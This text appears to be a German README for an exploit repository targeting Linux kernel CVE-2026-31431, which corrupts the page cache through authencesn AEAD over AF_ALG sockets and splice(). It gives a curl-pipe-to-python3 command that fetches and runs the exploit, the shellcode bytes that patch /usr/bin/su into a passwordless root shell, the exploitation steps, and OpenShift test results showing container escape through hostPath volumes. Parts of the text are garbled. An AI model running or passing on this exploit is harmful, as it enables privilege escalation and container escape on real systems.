seanrickerd/cve-2026-31431Exploit für den Linux-Kernel CVE-2026-31431, der eine Beschädigung des Page Cache durch Manipulation von authencesn-AEAD verursacht und auf Privilege Escalation in Containern und OpenShift-Umgebungen abzielt.
Beschädigung des Linux-Kernel-Page-Cache durch Manipulation von authencesn AEAD.
Nach umfangreichen Tests auf mehreren OpenShift-4.20.16-Clustern mit RHEL-9.6-Kerneln:
Siehe Abschnitt Umfassende Testergebnisse für vollständige Details.
CVE-2026-31431 ist eine Schwachstelle im Linux-Kernel in der kryptografischen Implementierung authencesn AEAD, die es unprivilegierten Prozessen ermöglicht, den Page Cache lesbarer Dateien über AF_ALG-Sockets und splice()-Syscall-Manipulation zu beschädigen.
Tests zeigen: Die Page-Cache-Beschädigung funktioniert zuverlässig, aber eine Privilege Escalation tritt auf RHEL-9.6-Kerneln in unseren Testumgebungen NICHT auf.
CVSS-Score: 7,8 (Hoch)
Betroffen: Linux-Kernelversionen mit authencesn-Unterstützung (2017–2026)
Öffentliche Offenlegung: 29. April 2026
/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### Aus lokaler Datei```bash
python3 exploit.py
su
Was passieren wird:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**Page-Cache-Verifizierung (bestätigt Korruption):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
Was NICHT passieren wird (basierend auf Tests):```bash
su
id -u
**Fazit:** Die Beschädigung des Page-Cache gelingt, aber die Privilegieneskalation schlägt fehl.
## Technische Details
### Schwachstelle
Die Implementierung von `authencesn` (Authenticated Encryption with Associated Data – Extended Sequence Number) im Linux-Kernel weist einen Fehler bei der Verarbeitung von In-Place-Operationen auf. Bei der Verarbeitung von AEAD-Operationen, die über einen AF_ALG-Socket übermittelt werden, kann eine Page-Cache-Seite in der beschreibbaren Ziel-Scatterlist des Kernels landen.
### Ausnutzungstechnik
1. **AF_ALG-Socket erstellen** mit `authencesn(hmac(sha256),cbc(aes))`
2. **AEAD-Parameter konfigurieren** (Schlüssel, Authsize)
3. **Ziel-Setuid-Binärdatei öffnen** (z. B. `/usr/bin/su`)
4. **splice() verwenden**, um die Binärdatei in den Page-Cache zu bringen
5. **In-Place-AEAD-Operation auslösen**, die einen Schreibvorgang in den Page-Cache verursacht
6. **Shellcode schreiben**, 4 Bytes auf einmal
7. **Modifizierte Binärdatei ausführen**, um Root-Zugriff zu erlangen
### Shellcode
Der Exploit verwendet einen 160-Byte-Shellcode, der `/usr/bin/su` so patcht, dass er:
- Die Passwortauthentifizierung überspringt
- Root-Shell-Zugriff gewährt
- Die normale Funktionalität für nicht privilegierte Benutzer beibehält
## Python-3.9-Kompatibilität
Python 3.9 und frühere Versionen haben kein `os.splice()` in der Standardbibliothek. Dieser Exploit enthält eine Implementierung auf Basis von ctypes:```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
Das macht den Exploit funktionsfähig auf:
Knotenkonfiguration:
Testergebnisse:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### Testumgebung 2: Frischer OpenShift-Cluster (Verifikationstest)
**Cluster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Knotenkonfiguration:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (identisch mit Test 1)
- OpenShift: 4.20.16
- SCC: restricted-v2 (verifiziert)
- UID: 1000810000 (Benutzer-Namespace)
- Capabilities: 0x0000000000000000 (NULL)
**Testergebnisse:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
Konsistenz: 100 % reproduzierbare Ergebnisse über unabhängige Cluster hinweg
Szenario A: Mit hostPath-Volume (Container-Escape möglich)```yaml volumes:
Ergebnis: ✅ **Container-Ausbruch** – modifiziert den Host-Seitencache (Device 33, Inode 4288)
**Szenario B: Restricted-v2 SCC (ohne hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
Ergebnis: ❌ Kein Container-Escape – betrifft nur das Container-Overlay (separater Inode)
Kritischer Befund: hostPath-Zugriff (nicht Capabilities) ist der entscheidende Faktor für einen Container-Escape.
Mögliche Erklärungen (erfordert weitere Forschung):
mmap(PROT_READ)-Operationenmmap(PROT_EXEC) könnten den korrupten Cache umgehen